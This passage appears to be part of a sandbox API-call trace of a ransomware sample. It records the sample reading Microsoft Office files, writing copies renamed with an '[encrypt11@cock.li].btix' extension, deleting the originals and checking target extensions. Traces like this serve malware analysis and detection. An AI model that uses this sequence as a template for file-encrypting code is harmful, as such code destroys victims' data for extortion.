Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0136.959] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=6020) returned 1 [0136.959] CloseHandle (hObject=0x4a8) returned 1 [0136.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid")) returned 0x220 [0136.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0136.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0136.960] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.960] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0136.960] GetLastError () returned 0x0 [0136.960] ReadFile (in: hFile=0x4a8, lpBuffer=0x42bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesRead=0x378fecc*=0x1784, lpOverlapped=0x0) returned 1 [0136.971] WriteFile (in: hFile=0x534, lpBuffer=0x42bd020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesWritten=0x378fc94*=0x1790, lpOverlapped=0x0) returned 1 [0136.972] ReadFile (in: hFile=0x4a8, lpBuffer=0x42bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0136.972] WriteFile (in: hFile=0x534, lpBuffer=0x42bd020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0136.972] SetEndOfFile (hFile=0x534) returned 1 [0136.973] CloseHandle (hObject=0x534) returned 1 [0136.973] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.973] SetEndOfFile (hFile=0x4a8) returned 1 [0136.976] CloseHandle (hObject=0x4a8) returned 1 [0136.977] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0136.977] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid")) returned 1 [0136.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0136.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0136.977] lstrlenW (lpString=".doc") returned 4 [0136.977] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0136.977] lstrlenW (lpString=".docx") returned 5 [0136.977] lstrcmpiW (lpString1=".docx", lpString2="5.MID") returned -1 [0136.977] lstrlenW (lpString=".pdf") returned 4 [0136.977] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0136.977] lstrlenW (lpString=".xls") returned 4 [0136.977] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0136.977] lstrlenW (lpString=".xlsx") returned 5 [0136.977] lstrcmpiW (lpString1=".xlsx", lpString2="5.MID") returned -1 [0136.977] lstrlenW (lpString=".ppt") returned 4 [0136.978] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0136.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0136.978] lstrlenW (lpString=".zip") returned 4 [0136.978] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0136.978] lstrlenW (lpString=".rar") returned 4 [0136.978] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0136.978] lstrlenW (lpString=".bz2") returned 4 [0136.978] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0136.978] lstrlenW (lpString=".7z") returned 3 [0136.978] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0136.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0136.978] lstrlenW (lpString=".dbf") returned 4 [0136.978] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0136.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0136.978] lstrlenW (lpString=".1cd") returned 4 [0136.978] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0136.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0136.978] lstrlenW (lpString=".jpg") returned 4 [0136.978] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0136.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0136.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0136.978] lstrlenW (lpString=".doc") returned 4 [0136.978] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0136.978] lstrlenW (lpString=".docx") returned 5 [0136.978] lstrcmpiW (lpString1=".docx", lpString2="5.MID") returned -1 [0136.978] lstrlenW (lpString=".pdf") returned 4 [0136.978] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0136.978] lstrlenW (lpString=".xls") returned 4 [0136.978] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0136.978] lstrlenW (lpString=".xlsx") returned 5 [0136.978] lstrcmpiW (lpString1=".xlsx", lpString2="5.MID") returned -1 [0136.978] lstrlenW (lpString=".ppt") returned 4 [0136.978] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0136.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0136.978] lstrlenW (lpString=".zip") returned 4 [0136.978] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0136.979] lstrlenW (lpString=".rar") returned 4 [0136.979] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0136.979] lstrlenW (lpString=".bz2") returned 4 [0136.979] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0136.979] lstrlenW (lpString=".7z") returned 3 [0136.979] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0136.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0136.979] lstrlenW (lpString=".dbf") returned 4 [0136.979] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0136.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0136.979] lstrlenW (lpString=".1cd") returned 4 [0136.979] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0136.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0136.979] lstrlenW (lpString=".jpg") returned 4 [0136.979] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0136.979] lstrcmpiW (lpString1=".MID", lpString2=".btix") returned 1 [0136.979] lstrlenW (lpString="PARNT_06.MID") returned 12 [0136.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0136.980] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=7768) returned 1 [0136.980] CloseHandle (hObject=0x4a8) returned 1 [0136.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid")) returned 0x220 [0136.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0136.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0136.981] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.981] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0136.981] GetLastError () returned 0x0 [0136.981] ReadFile (in: hFile=0x4a8, lpBuffer=0x42bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesRead=0x378fecc*=0x1e58, lpOverlapped=0x0) returned 1 [0136.999] WriteFile (in: hFile=0x534, lpBuffer=0x42bd020*, nNumberOfBytesToWrite=0x1e60, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesWritten=0x378fc94*=0x1e60, lpOverlapped=0x0) returned 1 [0137.000] ReadFile (in: hFile=0x4a8, lpBuffer=0x42bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0137.001] WriteFile (in: hFile=0x534, lpBuffer=0x42bd020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0137.001] SetEndOfFile (hFile=0x534) returned 1 [0137.001] CloseHandle (hObject=0x534) returned 1 [0137.001] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.001] SetEndOfFile (hFile=0x4a8) returned 1 [0137.004] CloseHandle (hObject=0x4a8) returned 1 [0137.004] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0137.594] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_06.mid")) returned 1 [0137.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0137.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0137.595] lstrlenW (lpString=".doc") returned 4 [0137.595] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0137.595] lstrlenW (lpString=".docx") returned 5 [0137.595] lstrcmpiW (lpString1=".docx", lpString2="6.MID") returned -1 [0137.595] lstrlenW (lpString=".pdf") returned 4 [0137.595] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0137.595] lstrlenW (lpString=".xls") returned 4 [0137.595] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0137.595] lstrlenW (lpString=".xlsx") returned 5 [0137.595] lstrcmpiW (lpString1=".xlsx", lpString2="6.MID") returned -1 [0137.595] lstrlenW (lpString=".ppt") returned 4 [0137.595] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0137.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0137.595] lstrlenW (lpString=".zip") returned 4 [0137.595] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0137.595] lstrlenW (lpString=".rar") returned 4 [0137.595] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0137.595] lstrlenW (lpString=".bz2") returned 4 [0137.595] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0137.595] lstrlenW (lpString=".7z") returned 3 [0137.595] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0137.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0137.595] lstrlenW (lpString=".dbf") returned 4 [0137.595] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0137.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0137.596] lstrlenW (lpString=".1cd") returned 4 [0137.596] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0137.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0137.596] lstrlenW (lpString=".jpg") returned 4 [0137.596] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0137.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0137.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0137.596] lstrlenW (lpString=".doc") returned 4 [0137.596] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0137.596] lstrlenW (lpString=".docx") returned 5 [0137.596] lstrcmpiW (lpString1=".docx", lpString2="6.MID") returned -1 [0137.596] lstrlenW (lpString=".pdf") returned 4 [0137.596] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0137.596] lstrlenW (lpString=".xls") returned 4 [0137.596] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0137.596] lstrlenW (lpString=".xlsx") returned 5 [0137.596] lstrcmpiW (lpString1=".xlsx", lpString2="6.MID") returned -1 [0137.596] lstrlenW (lpString=".ppt") returned 4 [0137.596] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0137.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0137.596] lstrlenW (lpString=".zip") returned 4 [0137.596] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0137.596] lstrlenW (lpString=".rar") returned 4 [0137.596] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0137.596] lstrlenW (lpString=".bz2") returned 4 [0137.596] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0137.596] lstrlenW (lpString=".7z") returned 3 [0137.596] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0137.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0137.597] lstrlenW (lpString=".dbf") returned 4 [0137.597] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0137.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0137.597] lstrlenW (lpString=".1cd") returned 4 [0137.597] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0137.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 68 [0137.597] lstrlenW (lpString=".jpg") returned 4 [0137.597] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0137.597] lstrcmpiW (lpString1=".eftx", lpString2=".btix") returned 1 [0137.597] lstrlenW (lpString="Frosted Glass.eftx") returned 18 [0137.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0137.599] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=334131) returned 1 [0137.600] CloseHandle (hObject=0x38c) returned 1 [0137.600] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx")) returned 0x220 [0137.600] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0137.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0137.600] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.600] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0137.696] GetLastError () returned 0x0 [0137.696] ReadFile (in: hFile=0x38c, lpBuffer=0x42bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesRead=0x378fecc*=0x51933, lpOverlapped=0x0) returned 1 [0137.781] WriteFile (in: hFile=0x4c8, lpBuffer=0x42bd020*, nNumberOfBytesToWrite=0x51940, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesWritten=0x378fc94*=0x51940, lpOverlapped=0x0) returned 1 [0137.839] ReadFile (in: hFile=0x38c, lpBuffer=0x42bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0137.839] WriteFile (in: hFile=0x4c8, lpBuffer=0x42bd020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesWritten=0x378fc94*=0xf8, lpOverlapped=0x0) returned 1 [0137.839] SetEndOfFile (hFile=0x4c8) returned 1 [0137.874] CloseHandle (hObject=0x4c8) returned 1 [0137.878] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.878] SetEndOfFile (hFile=0x38c) returned 1 [0138.660] CloseHandle (hObject=0x38c) returned 1 [0138.660] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0138.945] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx")) returned 1 [0139.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0139.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0139.291] lstrlenW (lpString=".doc") returned 4 [0139.291] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0139.291] lstrlenW (lpString=".docx") returned 5 [0139.291] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0139.291] lstrlenW (lpString=".pdf") returned 4 [0139.291] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0139.291] lstrlenW (lpString=".xls") returned 4 [0139.291] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0139.291] lstrlenW (lpString=".xlsx") returned 5 [0139.291] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0139.291] lstrlenW (lpString=".ppt") returned 4 [0139.291] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0139.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0139.291] lstrlenW (lpString=".zip") returned 4 [0139.291] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0139.291] lstrlenW (lpString=".rar") returned 4 [0139.291] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0139.291] lstrlenW (lpString=".bz2") returned 4 [0139.291] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0139.291] lstrlenW (lpString=".7z") returned 3 [0139.291] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0139.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0139.291] lstrlenW (lpString=".dbf") returned 4 [0139.291] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0139.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0139.291] lstrlenW (lpString=".1cd") returned 4 [0139.292] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0139.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0139.292] lstrlenW (lpString=".jpg") returned 4 [0139.292] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0139.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0139.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0139.292] lstrlenW (lpString=".doc") returned 4 [0139.292] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0139.292] lstrlenW (lpString=".docx") returned 5 [0139.292] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0139.292] lstrlenW (lpString=".pdf") returned 4 [0139.292] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0139.292] lstrlenW (lpString=".xls") returned 4 [0139.292] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0139.292] lstrlenW (lpString=".xlsx") returned 5 [0139.292] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0139.292] lstrlenW (lpString=".ppt") returned 4 [0139.292] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0139.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0139.292] lstrlenW (lpString=".zip") returned 4 [0139.292] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0139.292] lstrlenW (lpString=".rar") returned 4 [0139.292] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0139.292] lstrlenW (lpString=".bz2") returned 4 [0139.293] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0139.293] lstrlenW (lpString=".7z") returned 3 [0139.293] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0139.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0139.293] lstrlenW (lpString=".dbf") returned 4 [0139.293] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0139.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0139.293] lstrlenW (lpString=".1cd") returned 4 [0139.293] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0139.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0139.293] lstrlenW (lpString=".jpg") returned 4 [0139.293] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0139.293] lstrcmpiW (lpString1=".eftx", lpString2=".btix") returned 1 [0139.293] lstrlenW (lpString="Office 2007 - 2010.eftx") returned 23 [0139.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0139.596] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=45229) returned 1 